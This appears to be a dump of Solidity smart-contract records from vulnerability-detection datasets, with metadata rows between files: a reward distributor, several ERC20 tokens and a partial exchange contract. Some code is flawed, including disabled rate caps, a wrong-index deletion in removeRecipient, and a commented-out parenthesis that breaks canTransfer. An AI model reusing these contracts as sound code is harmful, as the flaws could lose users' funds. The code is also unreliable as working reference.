internal
{
bytes32 keyHashNumberOfActiveMaintainers = keccak256(_numberOfActiveMaintainers);
PROXY_STORAGE_CONTRACT.setUint(keyHashNumberOfActiveMaintainers,
PROXY_STORAGE_CONTRACT.getUint(keyHashNumberOfActiveMaintainers).add(1));
}
function incrementNumberOfActiveCoreDevs()
internal
{
bytes32 keyHashNumberToActiveCoreDevs= keccak256(_numberOfActiveCoreDevs);
PROXY_STORAGE_CONTRACT.setUint(keyHashNumberToActiveCoreDevs,
PROXY_STORAGE_CONTRACT.getUint(keyHashNumberToActiveCoreDevs).add(1));
}
function decrementNumberOfActiveMaintainers()
internal
{
bytes32 keyHashNumberOfActiveMaintainers = keccak256(_numberOfActiveMaintainers);
PROXY_STORAGE_CONTRACT.setUint(keyHashNumberOfActiveMaintainers,
PROXY_STORAGE_CONTRACT.getUint(keyHashNumberOfActiveMaintainers).sub(1));
}
function decrementNumberOfActiveCoreDevs()
internal
{
bytes32 keyHashNumberToActiveCoreDevs = keccak256(_numberOfActiveCoreDevs);
PROXY_STORAGE_CONTRACT.setUint(keyHashNumberToActiveCoreDevs,
PROXY_STORAGE_CONTRACT.getUint(keyHashNumberToActiveCoreDevs).sub(1));
}
function getMaintainerPerId(uint _id)
public
view
returns (address)
{
return PROXY_STORAGE_CONTRACT.getAddress(keccak256(_idToMaintainer,_id));
}
function getCoreDevPerId(uint _id)
public
view
returns (address)
{
return PROXY_STORAGE_CONTRACT.getAddress(keccak256(_idToCoreDev,_id));
}
// Internal function to fetch address from TwoKeyRegistry
function getAddressFromTwoKeySingletonRegistry(string contractName) internal view returns (address) {
return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY)
.getContractProxyAddress(contractName);
}
}
| 226,612 | 207 |
654e4f200bcf142c6b51bee7051599c0d086b3e4db9e5195e476173dccb2ccc2
| 16,047 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/5e/5eDA6583735d1dCDf10Df9135DE6966B003640c6_Distributor.sol
| 3,403 | 13,857 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
function div(uint256 x, uint256 y) internal pure returns(uint256 z){
require(y > 0);
z=x/y;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Ownable {
using LowGasSafeMath for uint;
using LowGasSafeMath for uint32;
IERC20 public immutable Cunoro;
ITreasury public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
event LogDistribute(address indexed recipient, uint amount);
event LogAdjust(uint initialRate, uint currentRate, uint targetRate);
event LogAddRecipient(address indexed recipient, uint rate);
event LogRemoveRecipient(address indexed recipient);
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _noro, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = ITreasury(_treasury);
require(_noro != address(0));
Cunoro = IERC20(_noro);
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
treasury.mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
emit LogDistribute(info[ i ].recipient, nextRewardAt(info[ i ].rate));
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
uint initial = info[ _index ].rate;
uint rate = initial;
if (adjustment.add) { // if rate should increase
rate = rate.add(adjustment.rate); // raise rate
if (rate >= adjustment.target) { // if target met
rate = adjustment.target;
delete adjustments[ _index ];
}
} else { // if rate should decrease
rate = rate.sub(adjustment.rate); // lower rate
if (rate <= adjustment.target) { // if target met
rate = adjustment.target;
delete adjustments[ _index ];
}
}
info[ _index ].rate = rate;
emit LogAdjust(initial, rate, adjustment.target);
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return Cunoro.totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) external view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyOwner {
require(_recipient != address(0), "IA");
// require(_rewardRate <= 5000, "Too high reward rate");
require(info.length <= 4, "limit recipients max to 5");
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
emit LogAddRecipient(_recipient, _rewardRate);
}
function removeRecipient(uint _index, address _recipient) external onlyOwner {
require(_recipient == info[ _index ].recipient, "NA");
info[_index] = info[info.length-1];
adjustments[_index] = adjustments[ info.length-1 ];
info.pop();
delete adjustments[ info.length-1 ];
emit LogRemoveRecipient(_recipient);
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyOwner {
// require(_target <= 5000, "Too high reward rate");
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 111,084 | 208 |
1c4b63baf45a4dc6a3499dcb302f539cd46eba26ad3207963c26e182ce90d871
| 15,195 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xc2a95957466f2eda086f309008731c94fdbd0747.sol
| 2,893 | 10,642 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract FIN is StandardToken {
string public constant name = "Financial Incentive Network Points";
string public constant symbol = "FIN";
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 private constant OFFSET = 10 ** uint256(decimals);
uint256 private constant BILLION = (10 ** 9) * OFFSET; // 1 billion is a 1 followed by 9 zeroes
uint256 private TOTAL_SUPPLY;
constructor(address _holderA, address _holderB, address _holderC) public {
balances[_holderA] = BILLION;
emit Transfer(0x0, _holderA, BILLION);
balances[_holderB] = BILLION;
emit Transfer(0x0, _holderB, BILLION);
balances[_holderC] = BILLION / 2;
emit Transfer(0x0, _holderC, BILLION / 2);
TOTAL_SUPPLY = balances[_holderA] + balances[_holderB] + balances[_holderC];
}
function totalSupply() public view returns (uint256) {
return TOTAL_SUPPLY;
}
}
interface TokenValidator {
function check(address _token,
address _user) external returns(byte result);
function check(address _token,
address _from,
address _to,
uint256 _amount) external returns (byte result);
}
interface ValidatedToken {
event Validation(byte indexed result,
address indexed user);
event Validation(byte indexed result,
address indexed from,
address indexed to,
uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ReferenceToken is Ownable, ERC20, ValidatedToken {
using SafeMath for uint256;
string internal mName;
string internal mSymbol;
uint256 internal mGranularity;
uint256 internal mTotalSupply;
mapping(address => uint) internal mBalances;
mapping(address => mapping(address => bool)) internal mAuthorized;
mapping(address => mapping(address => uint256)) internal mAllowed;
uint8 public decimals = 18;
// Single validator
TokenValidator internal validator;
constructor(string _name,
string _symbol,
uint256 _granularity,
TokenValidator _validator) public {
require(_granularity >= 1);
mName = _name;
mSymbol = _symbol;
mTotalSupply = 0;
mGranularity = _granularity;
validator = TokenValidator(_validator);
}
// Validation Helpers
function validate(address _user) internal returns (byte) {
byte checkResult = validator.check(this, _user);
emit Validation(checkResult, _user);
return checkResult;
}
function validate(address _from,
address _to,
uint256 _amount) internal returns (byte) {
byte checkResult = validator.check(this, _from, _to, _amount);
emit Validation(checkResult, _from, _to, _amount);
return checkResult;
}
// Status Code Helpers
function isOk(byte _statusCode) internal pure returns (bool) {
return (_statusCode & hex"0F") == 1;
}
function requireOk(byte _statusCode) internal pure {
require(isOk(_statusCode));
}
function name() public constant returns (string) {
return mName;
}
function symbol() public constant returns(string) {
return mSymbol;
}
function granularity() public constant returns(uint256) {
return mGranularity;
}
function totalSupply() public constant returns(uint256) {
return mTotalSupply;
}
function balanceOf(address _tokenHolder) public constant returns (uint256) {
return mBalances[_tokenHolder];
}
function isMultiple(uint256 _amount) internal view returns (bool) {
return _amount.div(mGranularity).mul(mGranularity) == _amount;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
if(validate(msg.sender, _spender, _amount) != 1) { return false; }
mAllowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return mAllowed[_owner][_spender];
}
function mint(address _tokenHolder, uint256 _amount) public onlyOwner {
requireOk(validate(_tokenHolder));
require(isMultiple(_amount));
mTotalSupply = mTotalSupply.add(_amount);
mBalances[_tokenHolder] = mBalances[_tokenHolder].add(_amount);
emit Transfer(0x0, _tokenHolder, _amount);
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
doSend(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(_amount <= mAllowed[_from][msg.sender]);
mAllowed[_from][msg.sender] = mAllowed[_from][msg.sender].sub(_amount);
doSend(_from, _to, _amount);
return true;
}
function doSend(address _from,
address _to,
uint256 _amount) internal {
require(canTransfer(_from, _to, _amount));
mBalances[_from] = mBalances[_from].sub(_amount);
mBalances[_to] = mBalances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
}
function canTransfer(address _from,
address _to,
uint256 _amount) internal returns (bool) {
return ((_to != address(0)) // Forbid sending to 0x0 (=burning)
&& isMultiple(_amount)
&& (mBalances[_from] >= _amount) // Ensure enough funds
&& isOk(validate(_from, _to, _amount)) // Ensure passes validation);
}
}
contract Lunar is ReferenceToken {
uint256 constant DECIMAL_SHIFT = 10 ** 18;
constructor(TokenValidator _validator)
ReferenceToken("Lunar Token - SAMPLE NO VALUE", "LNRX", 1, _validator)
public {
uint256 supply = 5000000 * DECIMAL_SHIFT;
mTotalSupply = supply;
mBalances[msg.sender] = supply;
emit Transfer(0x0, msg.sender, supply);
}
}
contract SimpleAuthorization is TokenValidator, Ownable {
mapping(address => bool) private auths;
constructor() public {}
function check(address ,
address _address) external returns (byte resultCode) {
if (auths[_address]) {
return hex"11";
} else {
return hex"10";
}
}
function check(address ,
address _from,
address _to,
uint256) external returns (byte resultCode) {
if (auths[_from] && auths[_to]) {
return hex"11";
} else {
return hex"10";
}
}
function setAuthorized(address _address, bool _status) public onlyOwner {
auths[_address] = _status;
}
}
| 195,402 | 209 |
71b91e71100e00022b64881b0c1da5132bd8a4a1bef3b39eec5c146829f7bea2
| 18,315 |
.sol
|
Solidity
| true |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x16edd2c18472fd441266a90e55efbf73ec47a6f5.sol
| 4,978 | 18,202 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Erc20Token {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Base {
using SafeMath for uint;
uint64 public currentEventId = 1;
function getEventId() internal returns(uint64 _result) {
_result = currentEventId;
currentEventId ++;
}
mapping (address => mapping (address => uint)) public tokenUserAmountOf; //mapping of token addresses to mapping of account balances (token=0 means Ether)
event OnDeposit(address indexed _token, address indexed _user, uint _amount, uint _balance, uint64 _eventId);
event OnWithdraw(address indexed _token, address indexed _user, uint _amount, uint _balance, uint64 _eventId);
function deposit() payable external {
_deposit();
}
function _deposit() internal {
tokenUserAmountOf[address(0x0)][msg.sender] = tokenUserAmountOf[address(0x0)][msg.sender].add(msg.value);
emit OnDeposit(address(0x0), msg.sender, msg.value, tokenUserAmountOf[address(0x0)][msg.sender], getEventId());
}
function withdraw(uint _amount) external {
require(tokenUserAmountOf[address(0x0)][msg.sender] >= _amount);
tokenUserAmountOf[address(0x0)][msg.sender] = tokenUserAmountOf[address(0x0)][msg.sender].sub(_amount);
msg.sender.transfer(_amount);
emit OnWithdraw(address(0x0), msg.sender, _amount, tokenUserAmountOf[address(0x0)][msg.sender], getEventId());
}
function depositToken(address _token, uint _amount) external {
require(_token != address(0x0));
Erc20Token(_token).transferFrom(msg.sender, address(this), _amount);
tokenUserAmountOf[_token][msg.sender] = tokenUserAmountOf[_token][msg.sender].add(_amount);
emit OnDeposit(_token, msg.sender, _amount, tokenUserAmountOf[_token][msg.sender], getEventId());
}
function testDepositToken(address _token, address _user, uint _amount) external view returns (bool _result) {
require(_token != address(0x0));
require(_user != address(0x0));
require(_amount > 0);
_result = Erc20Token(_token).allowance(_user, address(this)) >= _amount;
}
function testAllowance(address _token, address _user) external view returns (uint _result) {
_result = Erc20Token(_token).allowance(_user, address(this));
}
function withdrawToken(address _token, uint _amount) external {
require(_token != address(0x0));
require (tokenUserAmountOf[_token][msg.sender] >= _amount);
tokenUserAmountOf[_token][msg.sender] = tokenUserAmountOf[_token][msg.sender].sub(_amount);
Erc20Token(_token).transfer(msg.sender, _amount);
emit OnWithdraw(_token, msg.sender, _amount, tokenUserAmountOf[_token][msg.sender], getEventId());
}
}
contract Gamma is Base {
mapping (address => mapping (bytes32 => bool)) public orders; //User=>Hash(OrderId)=>Bool
mapping (address => mapping (bytes32 => uint)) public orderFills; //User=>Hash(OrderId)=>Uint
event OnSell (address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires, string _clientNonce, address _seller, uint64 _eventId);
event OnBuy (address _tokenGet, uint _okAmountGet, address _tokenGive, uint _okAmountGive, address _seller, address _buyer, bytes32 _sellHash, uint64 _eventId);
event OnCancel(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires, string _clientNonce, address _seller, uint64 _eventId);
function balanceOf(address token, address user) view external returns (uint _result) {
_result = tokenUserAmountOf[token][user];
}
function getSellHash(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires, string memory _clientNonce)
public view returns (bytes32 _result)
{
_result = keccak256(this, _tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce);
}
function sell(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires, string _clientNonce) external {
require(_amountGet > 0 && _amountGive > 0);
require(_tokenGet != _tokenGive);
require(bytes(_clientNonce).length <= 32);
require(_expires > block.number);
bytes32 sellHash = getSellHash(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce);
orders[msg.sender][sellHash] = true;
emit OnSell(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce, msg.sender, getEventId());
}
function buy1(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires, string _clientNonce, address _seller, uint _amount)
external
{
bytes32 sellHash = getSellHash(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce);
if (orders[_seller][sellHash] && block.number <= _expires && orderFills[_seller][sellHash].add(_amount) <= _amountGet)
{
tradeBalance(_tokenGet, _amountGet, _tokenGive, _amountGive, _seller, _amount);
orderFills[_seller][sellHash] = orderFills[_seller][sellHash].add(_amount);
emit OnBuy(_tokenGet, _amount, _tokenGive, _amountGive.mul(_amount).div(_amountGet), _seller, msg.sender, sellHash, getEventId());
return;
}
emit OnBuy(_tokenGet, 0, _tokenGive, 0, _seller, msg.sender, 0x0, getEventId()); //delete
return;
}
function buy2(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires, string memory _clientNonce, address _seller, uint _amount,
uint8 v, bytes32 r, bytes32 s) public
{
bytes32 sellHash = getSellHash(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce);
if (block.number <= _expires && orderFills[_seller][sellHash].add(_amount) <= _amountGet)
{
if (orders[_seller][sellHash])
{
tradeBalance(_tokenGet, _amountGet, _tokenGive, _amountGive, _seller, _amount);
orderFills[_seller][sellHash] = orderFills[_seller][sellHash].add(_amount);
emit OnBuy(_tokenGet, _amount, _tokenGive, _amountGive.mul(_amount) / _amountGet, _seller, msg.sender, sellHash, getEventId());
return;
}
else
if (ecrecover(sellHash,v,r,s) == _seller)
{
tradeBalance(_tokenGet, _amountGet, _tokenGive, _amountGive, _seller, _amount);
orderFills[_seller][sellHash] = orderFills[_seller][sellHash].add(_amount);
emit OnBuy(_tokenGet, _amount, _tokenGive, _amountGive.mul(_amount) / _amountGet, _seller, msg.sender, sellHash, getEventId());
return;
}
else
{
emit OnBuy(_tokenGet, 0, _tokenGive, 0, _seller, msg.sender, sellHash, getEventId()); //delete
return;
}
}
emit OnBuy(_tokenGet, 0, _tokenGive, 0, _seller, msg.sender, 0x0, getEventId()); //delete
return;
}
function buy3(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires, string memory _clientNonce, address _seller, uint _amount,
bytes memory _sig) public
{
bytes32 sellHash = getSellHash(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce);
if (block.number <= _expires && orderFills[_seller][sellHash].add(_amount) <= _amountGet)
{
if (orders[_seller][sellHash])
{
tradeBalance(_tokenGet, _amountGet, _tokenGive, _amountGive, _seller, _amount);
orderFills[_seller][sellHash] = orderFills[_seller][sellHash].add(_amount);
emit OnBuy(_tokenGet, _amount, _tokenGive, _amountGive.mul(_amount) / _amountGet, _seller, msg.sender, sellHash, getEventId());
return;
}
else if (getAddress(sellHash, _sig) == _seller)
{
tradeBalance(_tokenGet, _amountGet, _tokenGive, _amountGive, _seller, _amount);
orderFills[_seller][sellHash] = orderFills[_seller][sellHash].add(_amount);
emit OnBuy(_tokenGet, _amount, _tokenGive, _amountGive.mul(_amount) / _amountGet, _seller, msg.sender, sellHash, getEventId());
return;
}
else
{
emit OnBuy(_tokenGet, 0, _tokenGive, 0, _seller, msg.sender, sellHash, getEventId()); //delete
return;
}
}
emit OnBuy(_tokenGet, 0, _tokenGive, 0, _seller, msg.sender, 0x0, getEventId()); //delete
return;
}
function tradeBalance(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, address _seller, uint _amount) private {
tokenUserAmountOf[_tokenGet][msg.sender] = tokenUserAmountOf[_tokenGet][msg.sender].sub(_amount);
tokenUserAmountOf[_tokenGet][_seller] = tokenUserAmountOf[_tokenGet][_seller].add(_amount);
uint t1Amount = _amountGive.mul(_amount).div(_amountGet);
tokenUserAmountOf[_tokenGive][msg.sender] = tokenUserAmountOf[_tokenGive][msg.sender].add(t1Amount);
tokenUserAmountOf[_tokenGive][_seller] = tokenUserAmountOf[_tokenGive][_seller].sub(t1Amount);
}
function testBuy1(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires, string memory _clientNonce, address _seller,
uint _amount, address _buyer) view public returns(bool _result)
{
_result = tokenUserAmountOf[_tokenGet][_buyer] >= _amount && availableVolume1(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce, _seller) >= _amount;
}
function testBuy2(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires, string memory _clientNonce, address _seller,
uint _amount, address _buyer, uint8 v, bytes32 r, bytes32 s) view public returns(bool _result)
{
_result = tokenUserAmountOf[_tokenGet][_buyer] >= _amount && availableVolume2(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce, _seller, v, r, s) >= _amount;
}
function testBuy3(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires, string memory _clientNonce, address _seller,
uint _amount, address _buyer, bytes memory _sig) view public returns(bool _result)
{
_result = tokenUserAmountOf[_tokenGet][_buyer] >= _amount && availableVolume3(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce, _seller, _sig) >= _amount;
}
function availableVolume1(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires, string memory _clientNonce, address _seller)
view public returns(uint _result)
{
bytes32 sellHash = getSellHash(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _clientNonce);
if (orders[_seller][sellHash] && block.number <= _expires){
uint a2 = tokenUserAmountOf[_tokenGive][_seller].mul(_amountGet).div(_amountGive);
uint a1 = _amountGet.sub(orderFills[_seller][sellHash]);
